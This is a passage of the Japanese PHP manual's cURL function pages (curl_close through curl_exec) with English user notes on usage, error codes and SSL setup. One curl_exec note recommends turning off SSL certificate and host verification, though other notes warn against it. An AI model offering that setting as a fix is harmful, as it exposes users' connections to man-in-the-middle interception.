rich @ richud dot com 11-Jun-2004 07:12
If you have upgraded to using thread safe PHP (with apache 2 MPM=worker) note that
CURLOPT_COOKIEJAR / CURLOPT_COOKIEFILE both need an absolute path set for the cookie file location and no longer take a relative path.
(As before, also remember to have set correct permissions to allow a writeable cookie file/dir by apache)
[php 4.3.7/apache v2.0.49]
simon [at] vhostdirect [dot] co [dot] uk 03-Mar-2004 04:53
It took me quite some to to figure out how to get Curl (with SSL), OpenSSL and PHP to play nicely together.

After reinstalling MS-VC7 and compiling OpenSSL to finally realise this was'nt nesscary.

If your like me and like *Nix systems more than Windows then you'll most probly have similar problems.

I came across this, on a simple google with the right keywords.

http://www.tonyspencer.com/journal/00000037.htm

I read thru that and found my mistake.

Its just a small list of notes, I found them to be the best I've found on the subject and the most simplist.

Dont forget to add a simple line like this into your scripts to get them working on Win32.

<?php
if($WINDIR) curl_setopt($curl, CURLOPT_CAINFO, "c:\\windows\\ca-bundle.crt");
?>

Last note: ca-bundle.crt file is located in the Curl download. I stored mine in the windows directory and apache/php can access it fine.

All the best and I hope this helps.

Simon Lightfoot
vHost Direct Limited


cURL セッションを閉じる

  • ≪ cURL 関数
  • curl_copy_handle ≫
  • PHP Manual
  • cURL 関数
  • cURL セッションを閉じる

curl_close

(PHP 4 >= 4.0.2, PHP 5, PHP 7, PHP 8)

curl_close — cURL セッションを閉じる

説明

curl_close ( CurlHandle $handle ) : void

cURL セッションを閉じ、全てのリソースを開放します。 cURL ハンドル handle も削除されます。

パラメータ

handle

curl_init() が返す cURL ハンドル。

返り値

値を返しません。

変更履歴

バージョン | 説明
8.0.0 | handle は CurlHandle クラスのインスタンスを期待するようになりました。 これより前のバージョンでは、resource を期待していました。

例

例1 新しい cURL セッションの初期化とウェブページの取得

<?php
// 新しい cURL リソースを作成します
$ch = curl_init();

// URL とその他のオプションを設定します
curl_setopt($ch, CURLOPT_URL, "http://www.example.com/");
curl_setopt($ch, CURLOPT_HEADER, 0);

// URL を取得し、それをブラウザに渡します
curl_exec($ch);

// cURL リソースを閉じ、システムリソースを解放します
curl_close($ch);
?>

参考

  • curl_init() - cURL セッションを初期化する
  • curl_multi_close() - cURL ハンドルのセットを閉じる

User Contributed Notes

There are no user contributed notes for this page.


cURL ハンドルを、その設定も含めてコピーする

  • ≪ curl_close
  • curl_errno ≫
  • PHP Manual
  • cURL 関数
  • cURL ハンドルを、その設定も含めてコピーする

curl_copy_handle

(PHP 5, PHP 7, PHP 8)

curl_copy_handle — cURL ハンドルを、その設定も含めてコピーする

説明

curl_copy_handle ( CurlHandle $handle ) : CurlHandle|false

cURL ハンドルをコピーし、同じ設定を保持します。

パラメータ

handle

curl_init() が返す cURL ハンドル。

返り値

新しい cURL ハンドルを返します。 失敗した場合に false を返します

変更履歴

バージョン | 説明
8.0.0 | handle は CurlHandle クラスのインスタンスを期待するようになりました。 これより前のバージョンでは、resource を期待していました。
8.0.0 | 成功時に、この関数は CurlHandle クラスのインスタンスを返すようになりました。 これより前のバージョンでは、resource が返されていました。

例

例1 cURL ハンドルのコピー

<?php
// 新しい cURL リソースを作成します
$ch = curl_init();

// URL その他のオプションを適切に設定します
curl_setopt($ch, CURLOPT_URL, 'http://www.example.com/');
curl_setopt($ch, CURLOPT_HEADER, 0);

// ハンドルをコピーします
$ch2 = curl_copy_handle($ch);

// URL (http://www.example.com/) を取得し、ブラウザに渡します
curl_exec($ch2);

// cURL リソースを閉じ、システムリソースを開放します
curl_close($ch2);
curl_close($ch);
?>

User Contributed Notes

ac221 at sussex dot ac dot uk 16-Jun-2008 03:00
Hmm I don't have a problem with this, using PHP 5.2.5 libcurl 7.16.3 maybe it's been fixed ...

I am m having trouble getting curl_copy_handle to copy all the curlopts across though...

    protected function curlMultiPrime(array $reqArr){
        // Store the request array so we can reinitialise the multi handle
        $this->reqArr = $reqArr;
        // Close existing curl uni handles
        $this->closeMultiCurlUniHandles();
        foreach($reqArr as $curlConf){
            if(!($curlConf instanceof curlConfRequest ))
                throw new curlConfException('All objects passed to configure requests must be instances of curlConfRequest.',curlConfException::CURL_INVALID_CONF_OBJ);
            if(!$cch = curl_copy_handle($this->curlHandle)){
                throw new curlException('Failed to clone template curl handle.',$this->curlHandle);
            }else{
                curl_setopt_array($cch,$curlConf->getCurlOpts());
            }
            if(curl_multi_add_handle($this->curlMultiHandle,$cch) === 0){
                $this->curlUniHandleRef[] = $cch;
            }else{
                throw new curlException('Failed to add curl handle to multi stack.',$cch);
            }
        }
    }
administrator at proxy-list dot org 22-Jan-2008 05:08
There is some internal curl error (CURLE_FAILED_INIT) when you are trying to use just copied curl handle in curl_multi_add_handle(). I have checked the same problematic PHP code but with little difference: instead of creating curl's copy I have used the original one (template). As I expect code works without any error. I think curl_multi_* along with curl_copy_handle() is still raw and needs some improvements.

With best wishes

Vitali Simsive
Andrew 19-May-2007 11:39
You can use it for some kind of templates:

<?php
$ch = array();
$ch[0] = curl_init();
curl_setopt($ch[0], CURLOPT_URL, 'http://beengo.net/');
curl_setopt($ch[0], CURLOPT_HEADER, 0);
curl_setopt($ch[0], CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch[0], CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($ch[0], CURLOPT_USERAGENT, $_SERVER['HTTP_USER_AGENT']);

$ch[1] = curl_copy_handle($ch[0]);
curl_setopt($ch[1], CURLOPT_URL, 'http://beengo.net/cells/list');

$ch[2] = curl_copy_handle($ch[0]);
curl_setopt($ch[2], CURLOPT_URL, 'http://beengo.net/cells/list?q=travel');

/* And so on, when you need to get number of pages with same parameters... */

?>


直近のエラー番号を返す

  • ≪ curl_copy_handle
  • curl_error ≫
  • PHP Manual
  • cURL 関数
  • 直近のエラー番号を返す

curl_errno

(PHP 4 >= 4.0.3, PHP 5, PHP 7, PHP 8)

curl_errno — 直近のエラー番号を返す

説明

curl_errno ( CurlHandle $handle ) : int

直近の cURL 処理に関するエラー番号を返します。

パラメータ

handle

curl_init() が返す cURL ハンドル。

返り値

エラー番号を返します。エラーが発生しない場合、 0 (ゼロ) を返します。

変更履歴

バージョン | 説明
8.0.0 | handle は CurlHandle クラスのインスタンスを期待するようになりました。 これより前のバージョンでは、resource を期待していました。

例

例1 curl_errno() の例

<?php
// 存在しない場所への curl ハンドルを作成します
$ch = curl_init('http://404.php.net/');

// 実行します
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_exec($ch);

// エラーが発生したかどうかを確認します
if(curl_errno($ch))
{
    echo 'Curl error: ' . curl_error($ch);
}

// ハンドルを閉じます
curl_close($ch);
?>

参考

  • curl_error() - 現在のセッションに関する直近のエラー文字列を返す
  • » Curl エラーコード

User Contributed Notes

cubefox at web dot NOSPAMPLEASE dot de 30-Jul-2020 12:08
The manual above only mentions how to get an error description from the cURL handle ($ch) using curl_error():
<?php
$description = curl_error($ch);
?>

But you can also get a description from the error number itself using curl_strerror():
<?php
$description = curl_strerror(curl_errno($ch));
?>

The latter can be useful if you only have access to the error number but not to the cURL handle.
gmail@asmqb7 20-Apr-2019 04:43
/!\ ATTENTION if you are using curl multi handles

This function returns 0 in error conditions when run on curl handles accessed via curl_multi_info_read().

You must look at the data returned by curl_multi_info_read() for the true errno. The data is over there instead.
Eugene Kunkel 15-Nov-2016 11:25
Gets a current list of all CURLE_* error constants, their applicable error messages, and their applicable error codes. Useful for making wrapper classes or for mapping cURL errors to specific Exception objects.

<?php

$list   = get_defined_constants(TRUE);
$list   = preg_grep('/^CURLE_/', array_flip($list['curl']));
$result = array();

foreach ($list as $const) {
    $result[$const] = array
    (
        'code'    => constant($const),
        'message' => curl_strerror(constant($const))
    );
}

echo "<pre>";
echo print_r($result, TRUE);
echo "</pre>";
nimasdj AT yahoo [DOT] com 28-Jul-2015 03:48
To coder.ua[at]gmail.com:

Please note some errors have more than one constants:

[CURLE_FTP_PARTIAL_FILE]    18
[CURLE_PARTIAL_FILE]    18

[CURLE_HTTP_NOT_FOUND]    22
[CURLE_HTTP_RETURNED_ERROR]    22

[CURLE_OPERATION_TIMEDOUT]    28
[CURLE_OPERATION_TIMEOUTED]    28

[CURLE_BAD_DOWNLOAD_RESUME]    36
[CURLE_FTP_BAD_DOWNLOAD_RESUME]    36
coder.ua[at]gmail.com 10-Jan-2013 11:29
All available curl error constants and values in PHP 5.4.7 on FreeBSD 8.2-RELEASE:

CURLE_UNSUPPORTED_PROTOCOL => 1
CURLE_FAILED_INIT => 2
CURLE_URL_MALFORMAT => 3
CURLE_URL_MALFORMAT_USER => 4
CURLE_COULDNT_RESOLVE_PROXY => 5
CURLE_COULDNT_RESOLVE_HOST => 6
CURLE_COULDNT_CONNECT => 7
CURLE_FTP_WEIRD_SERVER_REPLY => 8
CURLE_FTP_ACCESS_DENIED => 9
CURLE_FTP_USER_PASSWORD_INCORRECT => 10
CURLE_FTP_WEIRD_PASS_REPLY => 11
CURLE_FTP_WEIRD_USER_REPLY => 12
CURLE_FTP_WEIRD_PASV_REPLY => 13
CURLE_FTP_WEIRD_227_FORMAT => 14
CURLE_FTP_CANT_GET_HOST => 15
CURLE_FTP_CANT_RECONNECT => 16
CURLE_FTP_COULDNT_SET_BINARY => 17
CURLE_PARTIAL_FILE => 18
CURLE_FTP_COULDNT_RETR_FILE => 19
CURLE_FTP_WRITE_ERROR => 20
CURLE_FTP_QUOTE_ERROR => 21
CURLE_HTTP_NOT_FOUND => 22
CURLE_WRITE_ERROR => 23
CURLE_MALFORMAT_USER => 24
CURLE_FTP_COULDNT_STOR_FILE => 25
CURLE_READ_ERROR => 26
CURLE_OUT_OF_MEMORY => 27
CURLE_OPERATION_TIMEOUTED => 28
CURLE_FTP_COULDNT_SET_ASCII => 29
CURLE_FTP_PORT_FAILED => 30
CURLE_FTP_COULDNT_USE_REST => 31
CURLE_FTP_COULDNT_GET_SIZE => 32
CURLE_HTTP_RANGE_ERROR => 33
CURLE_HTTP_POST_ERROR => 34
CURLE_SSL_CONNECT_ERROR => 35
CURLE_FTP_BAD_DOWNLOAD_RESUME => 36
CURLE_FILE_COULDNT_READ_FILE => 37
CURLE_LDAP_CANNOT_BIND => 38
CURLE_LDAP_SEARCH_FAILED => 39
CURLE_LIBRARY_NOT_FOUND => 40
CURLE_FUNCTION_NOT_FOUND => 41
CURLE_ABORTED_BY_CALLBACK => 42
CURLE_BAD_FUNCTION_ARGUMENT => 43
CURLE_BAD_CALLING_ORDER => 44
CURLE_HTTP_PORT_FAILED => 45
CURLE_BAD_PASSWORD_ENTERED => 46
CURLE_TOO_MANY_REDIRECTS => 47
CURLE_UNKNOWN_TELNET_OPTION => 48
CURLE_TELNET_OPTION_SYNTAX => 49
CURLE_OBSOLETE => 50
CURLE_SSL_PEER_CERTIFICATE => 51
CURLE_GOT_NOTHING => 52
CURLE_SSL_ENGINE_NOTFOUND => 53
CURLE_SSL_ENGINE_SETFAILED => 54
CURLE_SEND_ERROR => 55
CURLE_RECV_ERROR => 56
CURLE_SHARE_IN_USE => 57
CURLE_SSL_CERTPROBLEM => 58
CURLE_SSL_CIPHER => 59
CURLE_SSL_CACERT => 60
CURLE_BAD_CONTENT_ENCODING => 61
CURLE_LDAP_INVALID_URL => 62
CURLE_FILESIZE_EXCEEDED => 63
CURLE_FTP_SSL_FAILED] => 64
david at liip dot ch 09-Dec-2011 02:40
you should look on http://php.net/manual/en/curl.constants.php for the error codes, not on the linked official curl doc. some of the error codes are different, at least the one mentioned on the other page:

in PHP the curl error number 28 is called

CURLE_OPERATION_TIMEOUTED

while in the official site is:

CURLE_OPERATION_TIMEDOUT
denis at reddodo dot com 27-Mar-2011 03:10
if someone need more information about curl errors
<?php
$error_codes=array(
[1] => 'CURLE_UNSUPPORTED_PROTOCOL',
[2] => 'CURLE_FAILED_INIT',
[3] => 'CURLE_URL_MALFORMAT',
[4] => 'CURLE_URL_MALFORMAT_USER',
[5] => 'CURLE_COULDNT_RESOLVE_PROXY',
[6] => 'CURLE_COULDNT_RESOLVE_HOST',
[7] => 'CURLE_COULDNT_CONNECT',
[8] => 'CURLE_FTP_WEIRD_SERVER_REPLY',
[9] => 'CURLE_REMOTE_ACCESS_DENIED',
[11] => 'CURLE_FTP_WEIRD_PASS_REPLY',
[13] => 'CURLE_FTP_WEIRD_PASV_REPLY',
[14]=>'CURLE_FTP_WEIRD_227_FORMAT',
[15] => 'CURLE_FTP_CANT_GET_HOST',
[17] => 'CURLE_FTP_COULDNT_SET_TYPE',
[18] => 'CURLE_PARTIAL_FILE',
[19] => 'CURLE_FTP_COULDNT_RETR_FILE',
[21] => 'CURLE_QUOTE_ERROR',
[22] => 'CURLE_HTTP_RETURNED_ERROR',
[23] => 'CURLE_WRITE_ERROR',
[25] => 'CURLE_UPLOAD_FAILED',
[26] => 'CURLE_READ_ERROR',
[27] => 'CURLE_OUT_OF_MEMORY',
[28] => 'CURLE_OPERATION_TIMEDOUT',
[30] => 'CURLE_FTP_PORT_FAILED',
[31] => 'CURLE_FTP_COULDNT_USE_REST',
[33] => 'CURLE_RANGE_ERROR',
[34] => 'CURLE_HTTP_POST_ERROR',
[35] => 'CURLE_SSL_CONNECT_ERROR',
[36] => 'CURLE_BAD_DOWNLOAD_RESUME',
[37] => 'CURLE_FILE_COULDNT_READ_FILE',
[38] => 'CURLE_LDAP_CANNOT_BIND',
[39] => 'CURLE_LDAP_SEARCH_FAILED',
[41] => 'CURLE_FUNCTION_NOT_FOUND',
[42] => 'CURLE_ABORTED_BY_CALLBACK',
[43] => 'CURLE_BAD_FUNCTION_ARGUMENT',
[45] => 'CURLE_INTERFACE_FAILED',
[47] => 'CURLE_TOO_MANY_REDIRECTS',
[48] => 'CURLE_UNKNOWN_TELNET_OPTION',
[49] => 'CURLE_TELNET_OPTION_SYNTAX',
[51] => 'CURLE_PEER_FAILED_VERIFICATION',
[52] => 'CURLE_GOT_NOTHING',
[53] => 'CURLE_SSL_ENGINE_NOTFOUND',
[54] => 'CURLE_SSL_ENGINE_SETFAILED',
[55] => 'CURLE_SEND_ERROR',
[56] => 'CURLE_RECV_ERROR',
[58] => 'CURLE_SSL_CERTPROBLEM',
[59] => 'CURLE_SSL_CIPHER',
[60] => 'CURLE_SSL_CACERT',
[61] => 'CURLE_BAD_CONTENT_ENCODING',
[62] => 'CURLE_LDAP_INVALID_URL',
[63] => 'CURLE_FILESIZE_EXCEEDED',
[64] => 'CURLE_USE_SSL_FAILED',
[65] => 'CURLE_SEND_FAIL_REWIND',
[66] => 'CURLE_SSL_ENGINE_INITFAILED',
[67] => 'CURLE_LOGIN_DENIED',
[68] => 'CURLE_TFTP_NOTFOUND',
[69] => 'CURLE_TFTP_PERM',
[70] => 'CURLE_REMOTE_DISK_FULL',
[71] => 'CURLE_TFTP_ILLEGAL',
[72] => 'CURLE_TFTP_UNKNOWNID',
[73] => 'CURLE_REMOTE_FILE_EXISTS',
[74] => 'CURLE_TFTP_NOSUCHUSER',
[75] => 'CURLE_CONV_FAILED',
[76] => 'CURLE_CONV_REQD',
[77] => 'CURLE_SSL_CACERT_BADFILE',
[78] => 'CURLE_REMOTE_FILE_NOT_FOUND',
[79] => 'CURLE_SSH',
[80] => 'CURLE_SSL_SHUTDOWN_FAILED',
[81] => 'CURLE_AGAIN',
[82] => 'CURLE_SSL_CRL_BADFILE',
[83] => 'CURLE_SSL_ISSUER_ERROR',
[84] => 'CURLE_FTP_PRET_FAILED',
[84] => 'CURLE_FTP_PRET_FAILED',
[85] => 'CURLE_RTSP_CSEQ_ERROR',
[86] => 'CURLE_RTSP_SESSION_ERROR',
[87] => 'CURLE_FTP_BAD_FILE_LIST',
[88] => 'CURLE_CHUNK_FAILED');

?>
bozo_z_clown at yahoo dot com 14-Jun-2009 03:40
Note that you can detect errors using curl_multi_info_read() in the curl_multi_exec() loop that don't show up later using curl_errno().  This seems particularly true of connection errors.
Jacques Manukyan 28-Dec-2007 08:43
The error codes come directly from the curl source code. Specifically, look at the curl.h file and it will tell you exactly what each returned code does.

Most of these codes are cryptic but at least you can get a clue as to what the errors are.

Here is a quick snippet of what the errors in the curl.h look like:

  CURLE_OK = 0,
  CURLE_UNSUPPORTED_PROTOCOL,    /* 1 */
  CURLE_FAILED_INIT,             /* 2 */
  CURLE_URL_MALFORMAT,           /* 3 */
  CURLE_URL_MALFORMAT_USER,      /* 4 - NOT USED */
  CURLE_COULDNT_RESOLVE_PROXY,   /* 5 */
  CURLE_COULDNT_RESOLVE_HOST,    /* 6 */
  CURLE_COULDNT_CONNECT,         /* 7 */
  CURLE_FTP_WEIRD_SERVER_REPLY,  /* 8 */

Note that code 0 means its not an error, it means success.


現在のセッションに関する直近のエラー文字列を返す

  • ≪ curl_errno
  • curl_escape ≫
  • PHP Manual
  • cURL 関数
  • 現在のセッションに関する直近のエラー文字列を返す

curl_error

(PHP 4 >= 4.0.3, PHP 5, PHP 7, PHP 8)

curl_error — 現在のセッションに関する直近のエラー文字列を返す

説明

curl_error ( CurlHandle $handle ) : string

直近の cURL 操作に関するエラーメッセージをクリアテキストで返します。

パラメータ

handle

curl_init() が返す cURL ハンドル。

返り値

エラーメッセージ、あるいはエラーが発生しなかった場合は '' (空文字) を返します。

変更履歴

バージョン | 説明
8.0.0 | handle は CurlHandle クラスのインスタンスを期待するようになりました。 これより前のバージョンでは、resource を期待していました。

例

例1 curl_error() の例

<?php
// 存在しない場所への curl ハンドルを作成します
$ch = curl_init('http://404.php.net/');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);

if(curl_exec($ch) === false)
{
    echo 'Curl error: ' . curl_error($ch);
}
else
{
    echo 'Operation completed without any errors';
}

// ハンドルを閉じます
curl_close($ch);
?>

参考

  • curl_errno() - 直近のエラー番号を返す
  • » Curl エラーコード

User Contributed Notes

Anonymous 18-Jan-2021 08:40
If you're using curl_multi and there's an error, curl_error() will remain empty until you've called curl_multi_info_read(). That function "pumps" the information inside the curl libraries to the point where curl_error() will return a useful string.

This should really be added to the documentation, because it's not at all obvious.
anrdaemon at freemail dot ru 04-Mar-2019 08:05
curl_error is not a textual representation of curl_errno.
It's an actual error *message*.
If you want textual representation of error *code*, look for curl_strerror.
patrick at ibuildings dot nl 03-May-2013 11:13
If you want to fetch the error message, make sure you fetch it before you close the current cURL session or the error message will be reset to an empty string.
paul at paulmcgarry dot com 24-Nov-2008 05:00
For a 404 response to actually trigger an error as the example seems to be trying to demonstrate the following option should be set:

curl_setopt($ch,CURLOPT_FAILONERROR,true);

As per http://curl.haxx.se/libcurl/c/libcurl-errors.html

CURLE_HTTP_RETURNED_ERROR (22)
This is returned if CURLOPT_FAILONERROR is set TRUE and the HTTP server returns an error code that is >= 400. (This error code was formerly known as CURLE_HTTP_NOT_FOUND.)


指定した文字列を URL エンコードする

  • ≪ curl_error
  • curl_exec ≫
  • PHP Manual
  • cURL 関数
  • 指定した文字列を URL エンコードする

curl_escape

(PHP 5 >= 5.5.0, PHP 7, PHP 8)

curl_escape — 指定した文字列を URL エンコードする

説明

curl_escape ( CurlHandle $handle , string $string ) : string|false

この関数は、指定した文字列を » RFC 3986 に従って URL エンコードします。

パラメータ

handle

curl_init() が返す cURL ハンドル。

string

エンコードする文字列。

返り値

エスケープした文字列を返します。失敗した場合に false を返します。

変更履歴

バージョン | 説明
8.0.0 | handle は CurlHandle クラスのインスタンスを期待するようになりました。 これより前のバージョンでは、resource を期待していました。

例

例1 curl_escape() の例

<?php
// curl ハンドルを作成します
$ch = curl_init();

// GET パラメータ用の文字列をエスケープします
$location = curl_escape($ch, 'Hofbrauhaus / Munchen');
// その結果: Hofbr%C3%A4uhaus%20%2F%20M%C3%BCnchen

// エスケープした文字列を使って URL を組み立てます
$url = "http://example.com/add_location.php?location={$location}";
// その結果: http://example.com/add_location.php?location=Hofbr%C3%A4uhaus%20%2F%20M%C3%BCnchen

// HTTP リクエストを送信し、ハンドルを閉じます
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_exec($ch);
curl_close($ch);
?>

参考

  • curl_unescape() - URL エンコードされた文字列をデコードする
  • urlencode() - 文字列を URL エンコードする
  • rawurlencode() - RFC 3986 に基づき URL エンコードを行う
  • » RFC 3986

User Contributed Notes

sam dot tyurenkov at gmail dot com 24-May-2020 12:19
Please someone add an example for escaping ampersands between parameters.

E.g. what is the correct approach for using this URL with curl:
https://example.com/?p1=1&p2=2&p3=3

This is not obvious, and needs explanation.
Franois 10-Oct-2014 09:45
This function is strictly equivalent to rawurlencode().

Internally it uses curl_easy_escape() from libcurl, whose doc says: "This function converts the given input string to an URL encoded string (...). All input characters that are not a-z, A-Z, 0-9, '-', '.', '_' or '~' are converted to their "URL escaped" version (%NN where NN is a two-digit hexadecimal number)."
Nico 29-Sep-2014 01:51
What is difference between this function and urlencode()?


cURL セッションを実行する

  • ≪ curl_escape
  • curl_file_create ≫
  • PHP Manual
  • cURL 関数
  • cURL セッションを実行する

curl_exec

(PHP 4 >= 4.0.2, PHP 5, PHP 7, PHP 8)

curl_exec — cURL セッションを実行する

説明

curl_exec ( CurlHandle $handle ) : string|bool

指定した cURL セッションを実行します。

この関数は、cURL セッションを初期化し、 オプションを全て設定した後にコールする必要があります。

パラメータ

handle

curl_init() が返す cURL ハンドル。

返り値

成功した場合に true を、失敗した場合に false を返します。 しかし、オプション CURLOPT_RETURNTRANSFER が設定されていると、 成功した場合に取得結果、失敗した場合に false を返します。

警告

この関数は論理値 false を返す可能性がありますが、false として評価される値を返す可能性もあります。 詳細については 論理値の セクションを参照してください。この関数の返り値を調べるには ===演算子 を 使用してください。

注意:

(404 Not found のような) エラーを示すレスポンスステータスコード は、 失敗とはみなされないことに注意してください。 curl_getinfo() 関数が、そうしたチェックを行うのに使えます。

変更履歴

バージョン | 説明
8.0.0 | handle は CurlHandle クラスのインスタンスを期待するようになりました。 これより前のバージョンでは、resource を期待していました。

例

例1 ウェブページの取得

<?php
// 新規 cURL リソースを作成します
$ch = curl_init();

// URL や他の適当なオプションを設定します
curl_setopt($ch, CURLOPT_URL, "http://www.example.com/");
curl_setopt($ch, CURLOPT_HEADER, 0);

// URL を取得し、ブラウザに渡します
curl_exec($ch);

// cURL リソースを閉じ、システムリソースを解放します
curl_close($ch);
?>

参考

  • curl_multi_exec() - 現在の cURL ハンドルから、サブ接続を実行する

User Contributed Notes

Roland 16-Nov-2020 05:55
To check for a timeout or error -

 if (!$responsexml || !is_string($responsexml) || !strlen($responsexml) || strpos($responsexml, 'upstream request timeout') !== false) {
            return $this->sendRequest($request, $headers);
        }
turiyag 25-May-2017 05:07
Don't disable SSL verification! You don't need to, and it's super easy to stay secure! If you found that turning off "CURLOPT_SSL_VERIFYHOST" and "CURLOPT_SSL_VERIFYPEER" solved your problem, odds are you're just on a Windows box. Takes 2 min to solve the problem. Walkthrough here:

https://snippets.webaware.com.au/howto/stop-turning-off-curlopt_ssl_verifypeer-and-fix-your-php-config/
bimal at sanjaal dot com 26-Mar-2016 07:33
If you are accessing HTTPS URLs and you do not receive any contents, try to disable verifying SSL.

<?php
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
?>
hablutzel1 at gmail dot com 24-May-2014 05:04
Be always aware that CURLOPT_SSL_VERIFYPEER set to FALSE or 0 should never be used for production as it makes the link inmediately vulnerable to man-in-the-middle attack, still you can use it during development, but I would suggest that only if you KNOW what are you doing, otherwise spend some more time making requests to HTTPS sites work without resorting to set that option to FALSE or 0.
Manu Manjunath 12-Dec-2013 01:24
If you want to get contents of a page through HTTP GET or POST,  you can write a small function like below.

<?php
/**
 * Read entire contents of a URL in a string
 * @param string $url URL to fetch data from
 * @param mixed $params Parameters to the URL, typically an array. In case of POST, can be a string
 * @param string $method HTTP method - can be 'GET' (default) or 'POST'
 * @return mixed Contents of the webpage. Returns <i>false</i> in case of failure.
 */
function url_get_contents($url, $params = null, $method = 'GET') {
    $contents = false;
    if (!in_array($method, array('GET', 'POST'))) {
        error_log(__FUNCTION__ . ": Unknown method '$method'");
        return false;
    }
    if ($method == 'GET') {
        if (is_array($params) && count($params) > 0) {
            if ($params === array_values($params)) {
                error_log(__FUNCTION__ . ": Numerical array recieved for argument '\$params' (assoc array expected)");
                return false;
            }
            else {
                $url .= '?' . http_build_query($params);
            }
        }
        elseif (!is_null($params)) {
            error_log(__FUNCTION__ . ": If you're making a GET request, argument \$params must be null or assoc array.");
            return false;
        }
    }
    $ch = curl_init($url);
    if ($ch !== false) {
        curl_setopt_array($ch, array(
            CURLOPT_HEADER => false,
            CURLOPT_RETURNTRANSFER => true,
        ));
        if ($method == 'POST') {
            curl_setopt($ch, CURLOPT_POST, true);
            if (is_string($params) || is_array($params)) {
                curl_setopt($ch, CURLOPT_POSTFIELDS, $params);
            }
            else {
                error_log(__FUNCTION__ . ": Argument \$params should be an array of parameters or (if you want to send raw data) a string");
                return false;
            }
        }
        $contents = curl_exec($ch);
        curl_close($ch);
    }
    return $contents;
}
bertram dot pereira at gmail dot com 05-Aug-2012 11:48
There will be times when you need to get the response from curl_exec and capture the transfer - this is not very well documented but you can do so with the CURLOPT_RETURNTRANSFER Option

curl_setopt($ch, CURLOPT_RETURNTRANSFER, TRUE);

Bert
tolas777 at gmail dot com 11-Feb-2011 08:27
I was having a problem, for almost a week, of curl_exec() freezing/hanging when I made a request with it to a page that spends over an hour converting a large video file, and only afterwards sends control-data back to the calling script.

I'm using windows 7, WampServer-2.1d-64.exe, PHP 5.3.4, libcurl-7.21.3.

Here's the final solution;

On Fri, Feb 11, 2011 at 1:32 PM, Daniel Stenberg <daniel-of-haxx.se> wrote:
> On Fri, 11 Feb 2011, Tolas Anon wrote:
>
>>> It is also very easy for an application to enable the options as I've
>>> shown.
>>
>> Just not for the platforms i use, apparently.. :(
>
> Why not? A quick search for "tcp keepalive windows" shows this:
> http://msdn.microsoft.com/en-us/library/ms819735.aspx

This fixed my problem in the simple test AND in my application!
No need to send keep-alive bytes on the text/html level either.

I just added the "KeepAliveTime" setting with windows 7 regedit.exe in
HKEY_LOCAL_MACHINE/SYSTEM/CurrentControlSet/services/Tcpip, as a
REG_DWORD value, set it to decimal 25000 (so 25 seconds), rebooted,
and it all works as i want it now..

Note that windows registry entries key names are case-sensitive, wrong
casing and they'll be deleted on restart.

Lots of thanks, Daniel. I would've never solved this on my own..

------------------------------------------------------
(now useless) details at:

http://curl.haxx.se/mail/lib-2011-02/0101.html

http://readlist.com/lists/lists.php.net/php-general/16/81195.html
David from Code2Design.com 27-Jun-2010 07:44
Just in case anyone is looking for a a couple of simple functions [to help automate cURL processes for POST and GET queries] I thought I'd post these.

<?php

/**
 * Send a POST requst using cURL
 * @param string $url to request
 * @param array $post values to send
 * @param array $options for cURL
 * @return string
 */
function curl_post($url, array $post = NULL, array $options = array())
{
    $defaults = array(
        CURLOPT_POST => 1,
        CURLOPT_HEADER => 0,
        CURLOPT_URL => $url,
        CURLOPT_FRESH_CONNECT => 1,
        CURLOPT_RETURNTRANSFER => 1,
        CURLOPT_FORBID_REUSE => 1,
        CURLOPT_TIMEOUT => 4,
        CURLOPT_POSTFIELDS => http_build_query($post)
    );

    $ch = curl_init();
    curl_setopt_array($ch, ($options + $defaults));
    if( ! $result = curl_exec($ch))
    {
        trigger_error(curl_error($ch));
    }
    curl_close($ch);
    return $result;
}

/**
 * Send a GET requst using cURL
 * @param string $url to request
 * @param array $get values to send
 * @param array $options for cURL
 * @return string
 */
function curl_get($url, array $get = NULL, array $options = array())
{
    $defaults = array(
        CURLOPT_URL => $url. (strpos($url, '?') === FALSE ? '?' : ''). http_build_query($get),
        CURLOPT_HEADER => 0,
        CURLOPT_RETURNTRANSFER => TRUE,
        CURLOPT_TIMEOUT => 4
    );

    $ch = curl_init();
    curl_setopt_array($ch, ($options + $defaults));
    if( ! $result = curl_exec($ch))
    {
        trigger_error(curl_error($ch));
    }
    curl_close($ch);
    return $result;
}
?>
ivanargulo at NOSPAM gmail dot com 12-Feb-2010 03:41
If having problems with special chars or entities (like a, a, a, etc.), using the ISO encode, just decode the values given with the function utf8_decode().

For example:

The returned string is the following:

<xml><name>IvA!n</name></xml>

Using utf8_decode, the result in ISO is

<xml><name>Ivan</name></xml>
petermiller1986[nospam] at gmail dot com 30-Jul-2009 01:57
so far i have not come across any code or library file that will
extract cookie information from a http header, so i've written
one.

there are two files:
file1.php - acts as server and sets the cookies
file2.php - acts as browser and retrieves the cookies set by file1

/*****file1.php****/
<?php
/*set 3 cookies at the end of the execution of this script*/

setcookie("cookie1","cookie 1 data", time() - 123123);
setcookie("cookie2","cookie 2 data", time() + 54326);
setcookie("cookie3","cookie 3 data", time());
?>
/****end file1.php**/

/*****file2.php****/
<?php
$url = "http://[host][uri]/file1.php"; /*insert desired host and
uri*/
$browser_id = "some crazy browser";
$curl_handle = curl_init();
$options = array
(
    CURLOPT_URL=>$url,
    CURLOPT_HEADER=>true,
    CURLOPT_RETURNTRANSFER=>true,
    CURLOPT_FOLLOWLOCATION=>true,
    CURLOPT_USERAGENT=>$browser_id
);
curl_setopt_array($curl_handle,$options);
$server_output = curl_exec($curl_handle);
curl_close($curl_handle);

/*construct the http search pattern for cookies*/
$pattern  = "/Set-Cookie:";
$pattern .= "(?P<name>.*?)=(?P<value>.*?); ";
$pattern .= "expires=(?P<expiry_dayname>\w+), ";
$pattern .= "(?P<expiry_day>\d+)-
(?P<expiry_month>\w+)-(?P<expiry_year>\d+) ";
$pattern .= "(?P<expiry_hour>\d+):
(?P<expiry_minute>\d+):(?P<expiry_second>\d+) ";
$pattern .= "(?P<expiry_zone>\w+)/";
preg_match_all($pattern,$server_output,$matches);

$table_string = "
<h1>cookie information table</h1>
<table border='1'>
    <tr>
        <td>cookie name</td>
        <td>value</td>
